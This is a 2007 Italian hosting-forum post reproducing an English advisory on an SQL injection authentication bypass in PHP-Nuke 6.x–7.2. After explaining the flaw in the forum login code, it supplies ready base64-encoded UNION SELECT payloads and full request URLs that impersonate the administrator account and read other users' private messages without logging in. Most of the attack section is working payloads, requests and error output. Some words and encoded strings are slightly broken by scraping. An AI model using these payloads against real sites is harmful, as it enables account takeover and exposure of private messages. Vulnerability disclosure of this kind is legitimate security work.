Torna indietro   Serverplan Forum > Serverplan comunica > Vulnerabilità

Rispondi
 
LinkBack Strumenti discussione Modalità visualizzazione
  #1 (permalink)  
Vecchio 13-06-2007, 04.50.00
Member
 
Data registrazione: 28-05-2007
Messaggi: 32
Ikarosavenger_79 is on a distinguished road
Predefinito User-level authentication bypass in phpnuke 6.x-7.2</sp

Affected software description

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Php-Nuke is popular freeware content management system, written in php by

Francisco Burzi. This CMS (Content Management System) is used on many thousands

websites, because it`s free of charge, easy to install and has broad set of features.



Homepage //phpnuke.org







Vulnerabilities

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Let's begin our journey. I was exploring the phpnuke code and saw this code in

modules.php in lines 20-21



global $nukeuser;

$nukeuser = base64_decode($user);



Hmm, base64decoded global variable $nukeuser, it means, that $nukeuser can contain unslashed

single quotes and potentially lead to sql injection...

So, i was searching phpnuke source files to find out, for what is used this variable. And

the answer is - for integrated phpBB forum module in phpnuke.

This is how it works - first forum module will call the function session_pagestart($user_ip, $thispage_id, $nukeuser)

from sessions.php, this function will call bblogin($nukeuser, $session_id) from functions.php .

Now, here is some code fragments from bblogin()



function bblogin($nukeuser, $session_id) {

...

$cookie = explode("", $nukeuser);

$nuid = $cookie[0];

...

if( $nuid != $logindata['session_user_id'] ) {

$nusername = $cookie[1];

$sql = "SELECT user_id, username, user_password, user_active, user_level

FROM ".USERS_TABLE."

WHERE username = '" . str_replace("\'", "''", $nusername) . "'";

$result = $db-&gt;sql_query($sql);

if(!$result) {

message_die(GENERAL_ERROR, "Error in obtaining userdata login", "", __LINE__, __FILE__, $sql);

}

...



As we can see, base64decoded UNSLASHED data will be exploded to array $cookie and then username
ponent will be used in sql query. Therefore sql injection must be possible...

Now it's time to practical work. By the way, we don't need to play with cookies (this is little bit harder

then GET requests), because phpnuke will globalize all the GPC variables, so there is no difference, it's

COOKIE, POST or GET. Now, for proof testing let's contruct "cookie" like this



1'%20OR%20y/*pwd



and next let's base64encode them, so we get MTp4JyBPUiB5Lyo6cHdk

Ok, now if we make HTTP request like this



//localhost/nuke71/modules.php?name=Forums&amp;user=MTp4JyBPUiB5Lyo6c Hdk



then most of the phpnuke installations will give us phpbb error message



------------------------------------------------------------------------

General Error



Error in obtaining userdata login



DEBUG MODE



SQL Error 1054 Unknown column 'y' in 'where clause'



SELECT user_id, username, user_password, user_active, user_level FROM nuke_users WHERE username = 'x' OR y/*'



Line 840

File D\apache_oot\nuke71\includes\functions.php

------------------------------------------------------------------------



And it's not surprise, that line 840 from functions.php belongs to function bblogin($nukeuser, $session_id)

from integrated phpBB package. So we have proof of the real sql injection and can use this for

full path disclosure and XSS. Hmm, maybe we can do something more "useful"? Answer is "yes", if the mysql

engine has version number &gt; 4.0 and UNION functionality is enabled. We can use UNION to "fake" any

information, that phpnuke will try to query from database.

In this stage WE NEED TO KNOW user_id of the user, who we are targeting. Admin's user-alias has

probably user_id=2, but we can very easy get any user's user_aid, for example if we look at user's

profile



//localhost/nuke71/modules.php?name=Forums&amp;file=profile&amp;mode= viewprofile&amp;u=2



then we see "u=2", therefore user_id=2. Now let's contruct "cookie" like this



x'%20UNION%20SELECT%202,null,'pass',1,null/*pass



and base64encoded version is --&gt; eDp4JyBVTklPTiBTRUxFQ1QgMixudWxsLCdwYXNzJywxLG51bG wvKjpwYXNz

So we make HTTP request like this



//localhost/nuke71/modules.php?name=Forums&amp;user=eDp4JyBVTklPTiBTR UxFQ1QgMixudWxsLCdwYXNzJywxLG51bGwvKjpwYXNz



and we see forum page with link "log out [waraxe]" (with username, who's user_id=2). So, we just fooled

phpnuke to believe, that we are authentic user, and that's without any authentication at all.

Of course, work is not yet done - if we try to click on any links, then we see login page, because

this sort of "authentication" is not permanent.

There are many possibilities to improve this method and use it for different "bad things".

I will show here example HTTP requests, that will make possible to read any user private messages

without any authentication.

If user "waraxe" has user_id=2, then lets construct "cookie" like this



xfoo'%20UNION%20SELECT%202,null,1,1,null/*1



and after base64encode operation we get eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKj ox



Next, we make HTTP request like this



//localhost/nuke71/modules.php?name=Private_Messages&amp;file=index&a mp;folder=inbox&amp;user=eDpmb28nIFVOSU9OIFNFTEVDV CAyLG51bGwsMSwxLG51bGwvKjox



and if you are lucky, you can see the pm list. Now, how we can read one of the private messages?

Just copy the url of the private message, what you see in pm list, for example



//localhost/nuke71/modules.php?name=Private_Messages&amp;file=index&a mp;folder=inbox&amp;mode=read&amp;p=1



and then add our "magic" string



//localhost/nuke71/modules.php?name=Private_Messages&amp;file=index&a mp;folder=inbox&amp;mode=read&amp;p=1&amp;user=eDp mb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox



Paste this to url field in browser and make get request. Missionplete!







Greetings

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!

Special greets to Stefano from UT Bee Clan!_________________Faq - Contratti - Video Tutorial


Rispondi citando
Rispondi

Strumenti discussione
Modalità visualizzazione

Regole di scrittura
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Attivato
Le faccine sono Attivato
Il codice [IMG] è Attivato
Il codice HTML è Disattivato
Trackbacks are Attivato
Pingbacks are Attivato
Refbacks are Attivato


Discussioni simili
Discussione Autore discussione Forum Risposte Ultimo messaggio
protezione cartella con .htaccess e gestione user via php mjfan80 Pannello di controllo Cpanel - Linux 2 01-04-2007 13.52.19
Disgest authentication RC PHP 1 14-08-2005 23.58.13
errore: Access denied for user garacs1 PHP 1 12-05-2005 20.52.50
User-level authentication bypass in phpnuke 6.x-7.2 serverplan Vulnerabilità 0 13-04-2004 00.15.35
Cambiare il nome degli user durabo Pannello di controllo rivenditori HELM - Windows 1 18-08-2003 11.21.00


Tutti gli orari sono GMT +1. Adesso sono le 08.15.11.


Powered by vBulletin versione 3.7.3
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.1.0
Traduzione italiana : www.vbulletin.it